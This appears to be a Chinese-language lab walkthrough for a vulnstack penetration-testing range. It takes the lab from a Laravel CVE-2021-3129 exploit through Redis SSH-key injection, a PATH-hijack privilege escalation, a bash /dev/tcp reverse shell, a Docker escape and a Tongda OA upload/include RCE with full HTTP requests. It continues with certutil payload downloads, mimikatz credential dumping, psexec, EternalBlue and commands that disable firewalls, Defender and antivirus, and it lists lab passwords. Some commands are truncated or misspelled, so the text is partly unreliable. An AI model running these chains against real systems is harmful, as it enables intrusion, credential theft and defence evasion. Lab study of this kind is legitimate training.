1、WEB安全-漏洞发现及利用
2、系统安全-权限提升(漏洞&配置&逃逸)
3、内网安全-横向移动(口令传递&系统漏洞)
环境下载:
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
利用资源:
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
https://github.com/briskets/CVE-2021-3493
https://blog.csdn.net/szgyunyun/article/details/107104288
参考WP:
https://www.freebuf.com/articles/network/264560.html
涉及技术:
1.漏洞搜索与利用
2.Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
3.Docker逃逸
4.通达OA v11.3 漏洞利用
5.Linux环境变量提权
6.Redis 未授权访问漏洞
7.Linux sudo权限提升(CVE-2021-3156)漏洞利用
8.SSH密钥利用
9.Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
10.MS14-068漏洞利用
靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应
的主机上启动靶机服务:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
sudo service docker start
sudo docker start 8e172820ac78
C:\MYOA\bin\AutoConfig.exe
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
/etc/init.d/ssh start xshell 连接22端口和kali的ip
1.用kali扫描web1的外网端口(这里是46.160,kali是46.158地址)
nmap -T4 -sC -sV 192.168.46.160
2.使用laravel爆出的漏洞
81端口:laravel 存在最新漏洞
python laravel-CVE-2021-3129-EXP.py http://目标地址
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
3.在用哥斯拉后门工具连接
将有效载荷和加密器改为php的
4.在上线之前先判断对方的搭建系统出现这个东西就代表对方可以用docker服务
5.这里我们将web权限反弹到msf是不成功的
其一:是因为对放将81端口代理到52.20:8000端口上,这里肯定是连接不通的,因为我们的msf主机和对方的52网段的不出网机子不通
其二:后门的代理没有走第一层网络 所以连接不上web2上的主机
6.所以我们入侵该主机并不能造成太大的威胁,所以我们要入侵web的其他端口(kali扫描全部端口)扫到了6379的端口redis
nmap -T4 -sC -sV -p1-65535 192.168.xx.xxx
7.Ubuntu 1 DMZ渗透 redis未授权判断进入了就代表有redis未授权(kali运行)
redis-cli -h 192.168.xx.xxxxx
ssh-keygen -t rsa
cat 1.txt | redis-cli -h 192.168.46.160(web主机) -p 6379(redis端口) -x set hello
config set dir /root/.ssh
config set dbfilename authorized_keys
save
ssh [email protected]
8.因为连接到web1的主机,所以生成正向反向的后门都可以,生成反向连接的后门
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o p1.elf
10.在用redis未授权访问的web1下载这个后门
wget http://192.168.46.160:81/p1.elf
11.在这个后门执行前,kali上要启用msf的监听模块
msfconsole 开启msf
use exploit/multi/handler 使用监听模块
set payload linux/x64/meterpreter/reverse_tcp 设置刚刚生成后门的模块
set lhost 192.168.46.158 设置ip
set lport 6666 设置端口
exploit 攻击
./p1.elf
13.然后进入到他的主机之后来进行横向渗透,首先来来获取路由
sessions 1 回到会话中
run get_local_subnets 获取本地路由
run autoroute -p 查询本地路由
run post/multi/manage/autoroute 得到本地路由
14.内网探针来查询52网段有那些ip地址存活,可能只扫到一个30的地址,其实还可以ping到20的地址
background
use auxiliary/scanner/discovery/udp_probe 使用扫描模块
show options 展示选项
set rhosts 192.168.52.1-255 设置主机范围
set threads 10 设置线程
run 运行
find / -user root -perm -4000 -print 2>/dev/null
16.通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限
cd /home/jobs
./shell
chmod 777 ps
cp /bin/bash /tmp/ps
17.因为环境变量问题所以我们将这个二层网络的主机反弹到一层网络主机上面所以在创建一个kali会话连接到第一层的网络主机上面,设置nc将二层网络主机的权限反弹到一层主机上面
nc -lvp 1234
bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'
19.添加环境变量
export PATH=/tmp:$PATH 添加环境变量
echo $PATH 查看环境变量
./shell
id 查看权限
msfvenom -p linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf 生成正向连接的后门
22.在将这个后门放到冰蝎连接上的web主机上面
23.在来使用kali的msf监听这个后门
back
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
show options
set lport 7777
set rhost 192.168.52.20 主机连接对方的ip地址
24. 然后在提权的机器上运行后门发现不成功,这就是涉及到前面所提及到的dokcer(为了确保能木马能运行,在真实机上运行试验一下验证)
25.docker逃逸在那台提权上的主机上进行逃逸
fdisk -l #查看磁盘文件
ls /dev #查看设备文件
cd /
mkdir hello
mount /dev/sda1 /hello
ls /hello
覆盖密匙:
cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys
#-avx将权限也一起复制
echo > /hello/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件
echo '26步骤生成的密钥' > /hello/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入
26.pc1上覆盖密钥
ssh [email protected] 重新连接kali
cat hello.pub 查看密钥
ssh-keygen -f hello 生成密钥
chmod 600 hello 给予权限
ls
cat hello.pub
27.25步骤写入了密钥就可以连接52.20的主机(刚刚创建密钥的主机上连接)
ssh -i hello [email protected]
28.在来运行该木马
29.然后建立的msf的监听就能接受到会话
30.然后再来进入到ubuntu的会话中查看路由地址,就能添加到93的主机地址
session 4
run get_local_subnets
run autoroute -p
run post/multi/manage/autoroute
31.现在我们已经拿下了20和10的主机,我们要拿下30的主机,我们要使用nmap来扫描ip地址的服务,虽然我们这台msf有52网段的ip路由,但是nmap不是msf内置的工具,所以我们可以设置一个代理来使用nmap扫描工具。(这里使用msf自带的端口扫描模块)
use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.52.30
set threads 10
exploit
33.然后在用kali机连接到这个oa系统,前提win7上打开了oa系统,kali的浏览器上设置代理,使用burpsuite抓包
34. 这里就是使用通达OA系统的RCE和前台任意用户登录漏洞
Host: xxxx:xx
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
34.5在来使用文件包含来 命令执行
POST /ispirit/interface/gateway.php HTTP/1.1
Host: ip:端口
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/图片路径"}&cmd=whoami
msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe > w7.exe
certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.30
set lport 7777
exploit
c:/w7.exe
35.成功之后发现有
background
sessions
sessions 5
run get_local_subnets
run autorouter -p
run post/multi/manage/autoroute
background
use auxiliary/scanner/discover/udp_proe
show options
set rhosts 192.168.93.1-50
run
注:这里是关闭了防火墙
39.其一:利用ms17010
use auxiliary/scanner/smb/smb_ms17_010 扫描是否有ms17010漏洞
show options
set rhosts 192.168.93.20-30 扫描20-30网段
exploit
40.发现有两台主机可以利用
41.其二:使用mimikatz来攻击
sessions
sessions 5
load kiwi 载入mimikatz
kiwi_cmd sekurlsa::logonpasswords 获取账号密码
ps
migrate 4012 移植4012进程
kiwi_cmd sekurlsa::logonpasswords 获取账号密码
45.获取到administartor账号密码就来利用msf的psexec模块
background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp 改为正向连接
set rhost 192.168.93.30 设置主机
show options
set smbuser 获取到的administrator账号 设置账号
set smbpass 获取到的密码 设置密码
exploit
use exploit/windows/smb/ms17_010_psexec 使用模块
set payload windows/meterpreter/bind_tcp 设置正向连接
set rhost 192.168.93.40 设置ip
这里开启了防火墙
47.这就是开启了防火墙,攻击能成功但是反弹不了会话
48.首先建立session
sessions 5
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
background
exploit
background
use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/x64/meterpreter/bind_tcp 改为正向连接
set rhost 192.168.93.40
run
补充:
关闭防火墙: netsh advfirewall set allprofiles state off
关闭win10的防火墙Denfender: net stop windefend
关闭DEP: bcdedit.exe/set{current}nx alwaysoff
关闭杀毒软件: run killav run post/windows/manage/killava